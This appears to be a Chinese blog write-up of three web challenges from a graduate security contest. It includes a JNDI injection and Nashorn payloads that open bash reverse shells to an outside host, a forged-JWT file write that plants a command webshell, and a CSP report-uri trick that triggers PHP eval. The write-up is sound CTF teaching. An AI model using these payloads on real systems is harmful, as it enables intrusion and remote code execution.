首页 > 其他分享 >第一届研究生网络安全大赛web部分writeup

第一届研究生网络安全大赛web部分writeup

时间:2022-11-20 13:38:06浏览次数:43  
标签:网络安全 web 65% res app req writeup var require

web

BabyQL

给了一个jar包,idea查看源码。

public class AppController {
    public AppController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "Welcome :)";
    }

    @RequestMapping({"/exp"})
    public String exp(@RequestBody Map params) throws Exception {
        String key = "guanzhujiarandundunjiechan";
        String x = params.get("x").toString();
        if (x.hashCode() == key.hashCode() && !x.equals("guanzhujiarandundunjiechan")) {
            String cmd = params.get("cmd").toString();
            Pattern pattern = Pattern.compile("process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load", 2);
            if (pattern.matcher(cmd).find()) {
                return "nonono";
            } else {
                ExpressRunner runner = new ExpressRunner();
                DefaultContext<String, Object> context = new DefaultContext();
                runner.execute(cmd, context, (List)null, true, false);
                return "hack me";
            }
        } else {
            return key;
        }
    }
}

绕hashCode

1.官方做法

首先需要绕过hashCode,利用hashCode = s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1],传入"x":"guanzhujiarandundunjiechbO",即可绕过。官方WP这边没有说清楚,要注意

image-20221118141037286

首先大家可以先看一下hashCode的源码:

    /**
     * Returns a hash code for this string. The hash code for a
     * {@code String} object is computed as
     * <blockquote><pre>
     * s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]
     * </pre></blockquote>
     * using {@code int} arithmetic, where {@code s[i]} is the
     * <i>i</i>th character of the string, {@code n} is the length of
     * the string, and {@code ^} indicates exponentiation.
     * (The hash value of the empty string is zero.)
     *
     * @return  a hash code value for this object.
     */
    public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;
 
            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

在注解中可以看到hashCode=s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1],官方的做法就是修改了最后两位,改变两个字符的值,但使最后的hashCode值相同。

2.SUS战队的做法

非常简单粗暴的跑了hashCode碰撞,我跑了一阵没出结果,应该要看运气。

public static void main(String[] args) {
 	String key = "guanzhujiarandundunjiechan";
 	for (long i = 0; i < 9999999999L; i++) {
 		if (Long.toHexString(i).hashCode() == key.hashCode()) {
 			System.out.println(Long.toHexString(i));
 		}
 	}
 }

3.当时我的做法

找了个中间相遇攻击的脚本,跑出了一个字符串:

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.math.BigDecimal;
import java.util.Random;

/**
 “中间相遇法”是生日攻击的一种变形,它不比较Hash值,而是比较链中的中间变量。这种攻击主要适用于攻击具有分组链结构的Hash方案。
 中间相遇攻击的基本原理为:将消息分成两部分,对伪造消息的第一部分从初试值开始逐步向中间阶段产生r1个变量;对伪造消息的第二部分从Hash结果开始逐步退回中间阶段产生r2个变量。在中间阶段有一个匹配的概率与生日攻击成功的概率一样。
 */
public class HashCollide {

    /**
     * 拼凑字符的起始值(最后实际值可能为 collideCharBase +- mulBase)
     */
    private int collideCharBase;

    /**
     * 中间变量
     */
    private BigDecimal collideCharBase_decimal;

    /**
     * 中间变量
     */
    private BigDecimal mulBase_decimal_pow;

    /**
     * 拼凑字符串长度
     */
    private int collideCharLength;

    /**
     * hash算法中采用的乘积值 (hash' = hash * mulBase + char[i])
     */
    private long mulBase;

    /**
     * 中间变量
     */
    private BigDecimal mulBase_decimal;

    /**
     * 中间变量
     */
    private long mulBase_desc;

    /**
     * 中间变量
     */
    private BigDecimal mulBase_desc_decimal;

    /**
     * 2的轮回...
     */
    private final long INT_ROUTE_NUMBER = 2l << 32;

    /**
     * 还是2的轮回...
     */
    private final BigDecimal DECIMAL_ROUTE_NUMBER = new BigDecimal(
            INT_ROUTE_NUMBER);

    /**
     * 不知道干啥的,好奇怪
     */
    private final Random random = new Random(System.nanoTime());

    /**
     * 测试你的char数组能吧srcHash变成什么样子
     *
     * @param srcHash
     * @param collide
     * @return
     */
    public int hashCodeTest(int srcHash, char collide[]) {
        int h = srcHash;
        int len = collide.length;
        for (int i = 0; i < len; i++) {
            h = (int) mulBase * h + collide[i];
        }
        return h;
    }

    /**
     * 根据这个类构造时设置的参数输出hash
     *
     * @param srcString
     * @return
     */
    public int hashCodeTest(String srcString) {
        char[] chars = srcString.toCharArray();

        int h = 0;
        int len = chars.length;
        for (int i = 0; i < len; i++) {
            h = (int) mulBase * h + chars[i];
        }
        return h;
    }

    /**
     * 将一个decimal的值通过取余转换成一个属于int范围的long
     *
     * @param data
     * @return
     */
    private long fixDecimal(BigDecimal data) {
        // 求余数
        BigDecimal sub = data.divideToIntegralValue(DECIMAL_ROUTE_NUMBER
                .multiply(DECIMAL_ROUTE_NUMBER));

        // 可能为负数,修正为long类型之后再次求余
        long val = data.subtract(sub).longValue();
        val += INT_ROUTE_NUMBER;
        val = val % INT_ROUTE_NUMBER;

        if (val < 0) // val应该不会小于0
            val += INT_ROUTE_NUMBER;
        return val;
    }

    /**
     * 把val转换为正序的char数组,用以表示一个n位k进制数据
     *
     * @param val
     * @return
     */
    private char[] offsetToArray(long val) {
        char[] stk = new char[collideCharLength];
        int pos = 0;

        while (val != 0) { // 进制转换,得到反序列
            stk[pos++] = (char) (val % (mulBase) + collideCharBase);
            val = val / mulBase;
        }

        int fillZero = collideCharLength - pos; // 补零的个数
        char[] collides = new char[collideCharLength];
        int i = 0;
        while (i < fillZero) { // 高位补零
            collides[i++] = (char) collideCharBase;
        }

        while (i < collideCharLength) { // 逐位反向输出
            collides[i] = stk[pos - i + fillZero - 1]; // pos - ( i - fillZero )
            ++i;
        }

        return collides;
    }

    /**
     * 根据hash的src和target生成一组序列,使原串后面附加序列字符后的hash与target相同
     *
     * @param src
     * @param target
     * @param collideCharBase
     * @param n
     * @return
     */
    private char[] genCollisionArray(int src, int target) {
        long hx = mulBase_desc * src + collideCharBase;
        BigDecimal halfCal = mulBase_decimal_pow.multiply(new BigDecimal(hx)) // 中间变量
                .subtract(collideCharBase_decimal);
        BigDecimal left = halfCal.divide(mulBase_desc_decimal); // 依然是中间变量
        BigDecimal fix = new BigDecimal(target).subtract(left); // 还是中间变量,不过这次是修正数据

        long fixedDecimal = fixDecimal(fix);

        return offsetToArray(fixedDecimal);
    }

    /**
     * 构造函数
     *
     * @param collideCharBase   拼凑字符的起始值(最后实际值可能为 collideCharBase +- mulBase)
     * @param collideCharLength 拼凑字符串长度
     * @param mulBase           hash算法中采用的乘积值 (hash' = hash * mulBase + char[i])
     */
    public HashCollide(int collideCharBase, int collideCharLength, int mulBase) {
        this.mulBase = mulBase;
        this.mulBase_decimal = new BigDecimal(mulBase);
        this.mulBase_desc = mulBase - 1;
        this.mulBase_desc_decimal = new BigDecimal(mulBase - 1);

        this.mulBase_decimal_pow = mulBase_decimal.pow(collideCharLength);

        this.collideCharBase = collideCharBase;
        this.collideCharBase_decimal = new BigDecimal(collideCharBase);
        this.collideCharLength = collideCharLength;

    }

    /**
     * ...
     *
     * @param source
     * @param targetHash
     * @return
     */
    public String collide(String source, int targetHash) {
        int hashSrc = source.hashCode();
        char[] collide = this.genCollisionArray(hashSrc, targetHash);
        return source.concat(new String(collide));
    }

    /**
     * ...
     *
     * @return
     */
    public String randomString(int length) {
        char[] chars = new char[length];
        for (int i = 0; i < length; ++i) {
            chars[i] = (char) (50 + random.nextInt(32 + 26 + 15));
        }
        return new String(chars);
    }

    public static void main(String[] args) throws Exception {
        int targetHash = "guanzhujiarandundunjiechan".hashCode();
        HashCollide collide = new HashCollide(85, 7, 31);
        for (int i = 0; i < 10000; ++i) {
            String a = collide.randomString(57);
            String b = collide.collide(a, targetHash);
            if (b.hashCode() != 912366222) {
                System.err.println("ERROR :: src = " + a);
                System.err.println("ERROR :: dst = " + b);
                System.exit(1);
            }
        }
    }
}

绕过滤

比赛时的想法

image-20221118142137031

可以看到runner.execute(cmd, context, (List)null, true, false);中的第一个变量是可控的,可以执行java命令。

本地跑一下,成功执行:

image-20221118142330310

但是这边能够命令执行的函数几乎都被禁止了。第一时间想到的是用字符拼接,或者函数反射。查了文章,Runtime类往下可以调用processBuilders,继续向下跟进processBuilders,发现这下面调用了ProcessImpl的start方法。但是process这个关键字直接被毙了。当时就觉得反射应该走不通。

接着,我尝试了字符拼接,来绕关键字。这是我当时的payload:

        Class clz = Class.forName("java.lang.Run".concat("time"));
        Object rt = clz.getMethod("getRun".concat("time")).invoke(clz);
        clz.getMethod("exec", String.class).invoke(rt,"calc");
最后传输的json:
{
    "x": "_DgCJ>E6s>tM>VneTJSM_DY^K;xMycE>MiF]UiXXFg;rkDmdT2tB]^FNtZhhe]]o",
    "cmd": "Class.forName('java.lang.Run'.concat('time')).getMethod('getRun'.concat('time'), null); clz.getMethod('exec', String.class).invoke(clz.getMethod('getRun'.concat('time')).invoke(clz),'calc');"
}

本地写了一个main.java实验了一下,发现是可以成功执行的,但是放到远程,又没有结果了。我以为远程是不是传错了,本地再开了一下jar包,发现本地也过不了。很奇怪,明明java是支持这样子的拼接的。

然后就查了一堆资料,最后在QLExpree官方文档中发现一句话:

image-20221118143702746

反射里 getMethod 这个方法第二个参数是可变长度的,所以执行到这里就爆错了。Class 对象是可以拿到的,而且解决方案可以用 [] 去取值,不过那个正则把 [] 也一起过滤了,所以就没想到啥其他方案了。属于是心态爆炸了。

正解

看了sus战队题解,发现直接jndi注入就行了:

import javax.naming.InitialContext;new InitialContext().lookup("rmi://121.4.139.4:6999/Evil");

服务端代码:

public static void main (String[] args) throws RemoteException, NamingException, 12AlreadyBoundException {
 	Registry registry = LocateRegistry.createRegistry(6999);
 	ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "","", true,"org.apache.naming.factory.BeanFactory", null);
	ref.add(new StringRefAddr("forceString", "x=eval"));
 	ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNC4xMzkuNC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}\")"));
 	ReferenceWrapper wrapper = new ReferenceWrapper(ref);
 	registry.bind("Evil", wrapper);
 	System.err.println("Server ready");
 }

payload:

{
 "x": "d7d2d123",
 "cmd": "import javax.naming.InitialContext;new InitialContext().lookup
(\"rmi://121.4.139.4:6999/Evil\");"
}

官方exp:

这里可以对payload进行url编码并通过java.net.URLDecoder.decode进行解码

java.lang.Runtime.getRuntime().exec("bash -c {echo,ZWNobyxiYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream()

编码后得到:

%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%2E%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%22%62%61%73%68%20%2D%63%20%7B%65%63%68%6F%2C%5A%57%4E%6F%62%79%78%69%59%58%4E%6F%49%43%31%70%49%44%34%6D%49%43%39%6B%5A%58%59%76%64%47%4E%77%4C%32%6C%77%4C%33%42%76%63%6E%51%67%4D%44%34%6D%4D%51%3D%3D%7D%7C%7B%62%61%73%65%36%34%2C%2D%64%7D%7C%7B%62%61%73%68%2C%2D%69%7D%22%29%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29

payload:

{
"cmd":"import javax.script.ScriptEngineManager;new ScriptEngineManager().getEngineByName(\"nashorn\").eval(java.net.URLDecoder.decode(\"%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%2E%67%65%74%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%22%62%61%73%68%20%2D%63%20%7B%65%63%68%6F%2C%5A%57%4E%6F%62%79%78%69%59%58%4E%6F%49%43%31%70%49%44%34%6D%49%43%39%6B%5A%58%59%76%64%47%4E%77%4C%32%6C%77%4C%33%42%76%63%6E%51%67%4D%44%34%6D%4D%51%3D%3D%7D%7C%7B%62%61%73%65%36%34%2C%2D%64%7D%7C%7B%62%61%73%68%2C%2D%69%7D%22%29%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29\"));",
"x":"guanzhujiarandundunjiechbO"
}

HackThisBox

题目给出了docker,里面有部分源码:

  • app.js
var express = require('express');
var path = require('path');
var fs = require("fs");
var createError = require('http-errors');
var { expressjwt } = require("express-jwt");
var multer = require("multer");
var cookieParser = require('cookie-parser');
var logger = require('morgan');

var indexRouter = require('./routes/index');
var apiRouter = require('./routes/api');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'twig');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use(multer({ dest: '/tmp' }).array("file"));

var publicKey = fs.readFileSync('./config/public.pem');    // jwt解密阶段使用公钥
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

app.use(function(req, res, next) {    // 这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字
  if([req.body, req.query, req.auth, req.headers].some(function(item) {
      console.log(req.auth)
      return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});

app.use('/', indexRouter);
app.use('/api', apiRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});


var server = app.listen(8000, function () {

  var host = server.address().address
  var port = server.address().port

  console.log("Application instance, the access address is http://%s:%s", host, port)
});

关键代码如下:

app.use(function(req, res, next) {    // 这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字
  if([req.body, req.query, req.auth, req.headers].some(function(item) {
      console.log(req.auth)
      return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});
  • api.js
var express = require('express');
var fs = require("fs");
var jwt = require("jsonwebtoken");
var path = require('path');

var router = express.Router();

var privateKey = fs.readFileSync('./config/private.pem');    // jwt加密使用私钥

router.post('/login', function(req, res, next) {
  const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
  res.send({
    status:200,
    msg:"success",
    token
  })
})

router.post('/upload', function(req, res, next) {
  if(req.files.length !== 0) {
    var savePath = '';
    if(req.auth.isAdmin === false) {
      var dirName = `./public/upload/${req.auth.home}/`
      fs.mkdir(dirName, (err)=>{
        if(err) {
          console.log('error')
        } else {
          console.log('ok')
        }
      });
      savePath = path.join(dirName, req.files[0].originalname);
    } else if(req.auth.isAdmin === true) {
      savePath = req.auth.home;    // 漏洞点
    }

    fs.readFile(req.files[0].path, function(err, data) {
      if(err) {
        return res.status(500).send("error");
      } else {
        fs.writeFileSync(savePath, data);
      }
    });
    return res.status(200).send("file upload successfully");
  } else {
    return res.status(500).send("error");
  }
});


module.exports = router;

整个项目使用了jwt,并且加密方法为非对称加密算法RS256,但是在解密过程中可以使用对称加密算法HS256,这就造成了密钥混淆攻击:

JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。

如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)呢?

那么,后端代码会使用RS256的公钥作为密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

在源码config目录重找到了公钥文件public.pem,但是却没有给出私钥,但是解密的时候使用的全是公钥,所以我们可以使用HS256算法来伪造jwt,公钥加密,公钥解密。

我们将token里的 isAdmin 设为true,就可以通过 req.auth.home 自定义文件保存的目录,这里 fs.writeFileSync 存在任意文件写入,并且通过docker里的start.sh启动文件我们可以得知题目环境通过nodemon启动(文件更新会自动加载重启),因此我们可以写入覆盖原本的文件来执行恶意指令。

通过上面的代码,我们可以知道,对于上传的pathname会进行过滤。

image-20221118160156775

js后缀被ban了,可以通过urlencode编码绕过,这边要说明一下,虽然是urlencode绕,但这边绕的点在js代码解析url的最后,会进行一次decode,而不是传给后端的时候进行解析。

所以我们先构造jwt:

var jwt = require("jsonwebtoken");
var fs = require("fs");
payload = {
  isAdmin: true,
  username: "admin",
  home: { "href": "dre0m1", "origin": "dre0m1", "protocol":
"file:", "hostname": "",
"pathname": "/app/%72%6f%75%74%65%73/index.%6a%73" }
}
var publicKey = fs.readFileSync('./public.pem');
var token = jwt.sign(payload, publicKey, { algorithm: "HS256" });
console.log(token)

index.js


var express = require('express');
const execSync = require('child_process').execSync;
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
  // res.render('index', { title: 'HackThisBox' });
  var cmd = execSync(req.query.cmd);
  res.send(cmd.toString());
});
module.exports = router;

获得jwt后,通过/api/upload路由向后端发构造好的index.js文件。

import requests
sess = requests.session()
url = 'http://192.168.1.107:18000/'
hearder = {
  "authorization":"Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJ1c2Vy
bmFtZSI6ImFkbWluIiwiaG9tZSI6eyJocmVmIjoiYW5rMWUiLCJvcmlnaW4iOiJhb
msxZSIsInByb3RvY29sIjoiZmlsZToiLCJob3N0bmFtZSI6IiIsInBhdGhuYW1lIj
oiL2FwcC8lNzIlNmYlNzUlNzQlNjUlNzMvaW5kZXguJTZhJTczIn0sImlhdCI6MTY
2ODMxOTQyOX0.FlEloSS0gf3QdUzkZRUegU0c47whg8SUvitxkOnGySg"
}
file = {"file":("./index.js",open("./index.js","rb").read())}
res =
sess.post("http://192.168.1.107:18000/api/upload",files=file,head
ers=hearder)
print(res.text)
res = sess.get("http://192.168.1.107:18000/",params=
{"cmd":'/readflag'})
print(res.text)

localshell

题目上来是给了webshell的源码的

<?php
if($_SERVER['REMOTE_ADDR']!=='127.0.0.1'){
    die('only from local!');
}
else{
    $postdata = file_get_contents('php://input');
    $kv_list = explode('&',$postdata);
    if(count($kv_list)>0){
        foreach ($kv_list as $value){
            $kv = explode('=',$value);
            if(count($kv)==2){
                if($kv[0]==="bbzl's shell"){
                    eval($kv[1]);
                }
            }
        }
    }
}

可以发现,需要通过本地访问,而处理的逻辑手写了一个解析逻辑,把请求的post体按照键值对进行解析,并且eval执行键名为bbzl's shell的键值。所以我们需要找到办法ssrf请求这个shell

环境提供了一个生成页面功能和把这个页面给admin看的功能。题目提示里说了admin在内网,所以需要通过我们提交的前端页面来发送post请求。但是写页面的功能只能产生一个img src不同的文件名固定的php文件。但是点击生成后的访问链接(visit)发现存在一个get提交的token,而这个token也在返回包里

图片

测试发现,这个键名和键值都是可以修改的,这样我们可以任意修改响应头。这里是直接调用的php的header函数,不存在crlf插入body或者新响应头的可能,所以要利用这一个响应头来发送请求。

这里的预期解法是通过Content-Security-Policy或者Content-Security-Policy-Report-Only的request-uri来发送report请求到我们的shell。payload如下

Content-Security-Policy-Report-Only=img-src%20none;%20report-uri%20/shell.php;%26bbzl%27s%20shell=system(%27touch%20/tmp/1%27);%26

这里指定了img-src为none,而页面本身提供了一个img标签来加载本地的图片,这样就不符合csp策略,浏览器会发送一个report包给report-uri参数指定的/shell.php,其body是一个带有此次违反策略相关信息的json。顺带一提,Content-Security-Policy和Content-Security-Policy-Report-Only的区别是,前者会阻止违反策略的资源的加载,而后者只报告不加载。这个post包如下

图片

复制出来

{"csp-report":{"document-uri":"http://124.221.138.51/template/img.php?Content-Security-Policy-Report-Only=img-src%20none;%20report-uri%20/shell.php;%26bbzl%27s%20shell=system(%27touch%20/tmp/1%27);%26","referrer":"","violated-directive":"img-src","effective-directive":"img-src","original-policy":"img-src none; report-uri /shell.php;&bbzl's shell=system('touch /tmp/1');&","disposition":"report","blocked-uri":"http://124.221.138.51/img/1.jpg","line-number":2,"source-file":"http://124.221.138.51/template/img.php?Content-Security-Policy-Report-Only=img-src%20none;%20report-uri%20/shell.php;%26bbzl%27s%20shell=system(%27touch%20/tmp/1%27);%26","status-code":200,"script-sample":""}}

可以发现,我们可以控制这个包的source-file等涉及我们提交的url的地方。但是这些地方的数据在提交的时候就会进行url编码,比如单引号、空格等。所以我们无法在这些地方构造一个bbzl's shell的键名。但是original-policy这个记录原策略的参数不会对数据进行编码,可以让我们插入恶意数据。但是这个地方是csp策略本身,如果不符合规范会导致出错。经过测试发现,在一个完整的csp策略的分号后边添加任意数据都不会影响csp的解析,所以构造出了我们的恶意数据。

所以只需要在提交的页面处输入我们的payload(这些url编码的数据不能解码)

/template/img.php?Content-Security-Policy-Report-Only=img-src%20none;%20report-uri%20/shell.php;%26bbzl%27s%20shell=system(%27touch%20/tmp/1%27);%26

发送给admin,就可以在/tmp下生成一个1文件。至于后续外带flag等操作wp中就不演示了,由于template可以写,直接写在template目录,或者外带发送都可以。

标签:网络安全,web,65%,res,app,req,writeup,var,require
From: https://www.cnblogs.com/dre0m1/p/16908297.html

相关文章

  • 从create-react-app 学点东西1:web-vitals
    导言市场中流行的框架有很多地方是值得我们深入的去探究或学习的,《从create-react-app学点东西》这系列文章从create-react-app创建的项目中找出一些重要或者容易忽略的点......
  • Web3.0潮起,应用场景何寻
    在元宇宙、NFT的热潮下,Web3.0似乎离我们也不远了,但目前来说,还没有看到真正意义上的Web3.0应用场景。在打破数据孤岛之后,Web3.0的应用场景又该显现在何处,其商业模式生态将......
  • websocket 测试
    npminstall-gwscatwscat-l8888wscat-cws://127.0.0.1:8888  constWebSocket=require('ws');constws=newWebSocket.Server({port:8777});ws.on('......
  • PHP阶段案例之Web表单生成器 转摘的
    HP阶段案例之Web表单生成器①准备表单②定义表单生成函数效果图原码奉上 ①准备表单这里是用form.php文件来保存表单信息,通过$element元素以数组的形......
  • 转:web开发常用工具
    测试网站加载时间​​​http://www.iwebtool.com​​​http://tools.pingdom.com/fpt/使用Pingdomtools的用户可测试他们的网站加载时间并找出......
  • Web表单生成器--转摘-守护那份情,给自己学习用。侵权情通知,会删。
     在项目的实际开发中,经常需要设计各种各样表单。直接编写HTML表单虽然简单,但修改、维护相对麻烦。  因此,可以利用PHP实现一个Web表单生成器,使其可以根据具体的需求定......
  • web页面漂浮广告
    <divid="kefuLayer"style="position:absolute;right:100px;top:100px;width:210px;height:275px;z-index:10000;border:1pxsolid#cdcdcd;white-......
  • JavaWeb学习(五)学号自增设计起始值、优化链接为按钮
    一、NavicatPremium12设置主键自增、起始值  二、优化链接为按钮 <inputtype="button"value="学生"onclick="location.href='S_Deng_lu.jsp'"/> ......
  • java web 操作Cookie
    importjavax.servlet.http.Cookie;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;publicclass......
  • web网站置灰 哀悼 支持多firfox
    对于后台管理系统:html{filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);}或者:html,div,img,span,table{filter:gray;}----......